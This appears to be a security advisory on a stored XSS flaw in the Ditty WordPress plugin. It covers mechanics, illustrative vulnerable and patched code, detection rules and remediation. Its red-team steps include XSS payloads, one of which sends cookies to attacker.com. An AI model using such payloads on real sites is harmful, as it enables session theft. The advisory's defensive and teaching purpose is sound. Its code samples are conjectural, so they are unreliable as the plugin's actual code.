CVE-2024-5575

Executive Summary

CVE-2024-5575 is a stored Cross-Site Scripting (XSS) vulnerability in the Ditty WordPress plugin, affecting versions prior to 3.1.43. The vulnerability arises from insufficient sanitization and escaping of certain block settings within the plugin. This allows high-privilege users, such as authors, to inject arbitrary web scripts or HTML into the WordPress site. When an administrator or other privileged user views the compromised block settings, the injected script executes in their browser, potentially leading to session hijacking, defacement, or further privilege escalation. The vulnerability is particularly dangerous because it bypasses the unfiltered_html restriction, which normally prevents lower-privilege users from injecting malicious code. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the severity is considered Medium (4.8). No public proof-of-concept or exploit code has been released at this time.

Supply Chain & Package Security

This vulnerability is specific to the Ditty WordPress plugin, which is distributed through the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are affected. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems. The supply chain risk is limited to the plugin's update mechanism; users must ensure they update to version 3.1.43 or later from a trusted source.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): High (H) - The attacker must have author-level privileges or higher.
• User Interaction (UI): Required (R) - The victim (e.g., an administrator) must view the malicious block settings.
• Scope (S): Changed (C) - The impact extends beyond the vulnerable component, affecting the entire WordPress site.
• Confidentiality (C): Low (L) - Limited information disclosure is possible.
• Integrity (I): Low (L) - Limited ability to modify content.
• Availability (A): None (N) - No impact on availability.

Base Score: 4.8 (Medium)

Threat Level: Medium. While the CVSS score is moderate, the ability for authors to bypass unfiltered_html and execute XSS against administrators makes this a significant threat in multi-user WordPress environments.

Deep Dive & Mechanics

The Ditty plugin provides custom blocks for the WordPress block editor (Gutenberg). These blocks allow users to create dynamic content displays. The vulnerability lies in how the plugin handles the settings/attributes of these blocks. Specifically, certain block settings are not properly sanitized (removing dangerous HTML/JavaScript) or escaped (converting special characters to HTML entities) before being stored in the database and later rendered in the admin interface.

When an author-level user creates or edits a Ditty block, they can inject malicious JavaScript into a block setting field. Because the plugin does not sanitize the input, the malicious payload is stored in the WordPress database. When an administrator or other user with higher privileges views the block settings in the editor, the stored payload is rendered without proper escaping, causing the browser to execute the injected script.

The key bypass is that WordPress normally restricts authors from using unfiltered_html (a capability that allows posting arbitrary HTML/JavaScript). However, because the Ditty plugin handles the output of its block settings directly, it does not enforce this restriction, allowing authors to inject XSS payloads that would otherwise be blocked.

Vulnerable vs. Patched Code

The vulnerable code likely resides in the plugin's block registration or rendering functions. A typical vulnerable pattern would be:

Vulnerable (pre-3.1.43):

// In a block render callback or attribute definition
echo '<div class="ditty-block" data-settings="' . $attributes['settings'] . '">';

Here, $attributes['settings'] is output directly without escaping, allowing an attacker to inject " onload="alert(1)" or similar.

Patched (3.1.43+):

// Properly escaping the attribute
echo '<div class="ditty-block" data-settings="' . esc_attr( $attributes['settings'] ) . '">';

The esc_attr() function in WordPress escapes the string for safe use in an HTML attribute, preventing XSS. Additionally, the plugin should sanitize input using sanitize_text_field() or similar functions before storing.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the Ditty plugin version < 3.1.43.
• An author-level user account.

Steps:

1. Log in as an author.
2. Create a new post or page and add a Ditty block.
3. In the block settings, locate a field that is vulnerable (e.g., a custom CSS class or data attribute).
4. Inject a payload such as:

   " onfocus="alert(1)" autofocus="true
   

   Or a more sophisticated payload:

   " onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)
   

5. Save the post/page.
6. When an administrator views the block settings in the editor, the payload executes.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual block settings in the wp_posts and wp_postmeta tables.
• Look for patterns like onload=, onerror=, onfocus=, javascript: in post content or meta values.
• Use the Sigma rule provided below to detect exploitation attempts.

Hardening:

• Immediately update the Ditty plugin to version 3.1.43 or later.
• Implement a Web Application Firewall (WAF) rule to block common XSS payloads in block editor requests.
• Restrict author-level accounts and review user permissions regularly.
• Enable Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available, but check for modified plugin files)
• Suspicious Database Entries:
  • wp_posts.post_content containing <script> tags or event handlers like onload=, onerror=, onfocus=.
  • wp_postmeta.meta_value containing similar payloads.
• Network Traffic:
  • Outbound requests to known malicious domains from the WordPress admin panel.
  • Unusual POST requests to /wp-admin/admin-ajax.php with block editor actions.
• Logs:
  • WordPress debug log entries showing unexpected PHP warnings or errors related to the Ditty plugin.
  • Web server access logs showing requests to /wp-admin/post.php with suspicious parameters.

Detection Engineering

YARA Rule

rule CVE_2024_5575_Ditty_XSS {
    meta:
        description = "Detects stored XSS payloads in Ditty plugin block settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5575"
    strings:
        $xss1 = /on\w+\s*=\s*["'][^"']*["']/ nocase
        $xss2 = /<script[\s>]/ nocase
        $xss3 = /javascript\s*:/ nocase
        $ditty_block = /ditty/i
    condition:
        $ditty_block and ($xss1 or $xss2 or $xss3)
}

Sigma Rule

title: CVE-2024-5575 Ditty Plugin Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of stored XSS in Ditty WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/post.php'
        cs-uri-query|contains: 'action=edit'
        sc-status: 200
    keywords:
        - 'onload='
        - 'onerror='
        - 'onfocus='
        - 'javascript:'
        - '<script'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in block settings by administrators
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-5575 Ditty Plugin Stored XSS Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"action=edit"; http_uri; pcre:"/(on\w+\s*=\s*[\x22\x27]|<script|javascript\s*:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the Plugin: Upgrade Ditty to version 3.1.43 or later from the WordPress plugin repository.
2. Scan for Compromise: Use the YARA and Sigma rules above to check for existing XSS payloads in the database.
3. Review User Accounts: Audit author-level accounts and remove any that are not necessary.

Long-Term Mitigations:

• Implement a Content Security Policy (CSP) that restricts inline script execution.
• Use a WordPress security plugin that monitors file changes and blocks malicious requests.
• Regularly update all plugins, themes, and WordPress core.
• Enforce the principle of least privilege for all user roles.

Patch Details: The patch is included in version 3.1.43 of the Ditty plugin. Users should download and install this version from the official WordPress plugin repository or update via the WordPress admin dashboard.

Valters IT
Securing Digital Frontiers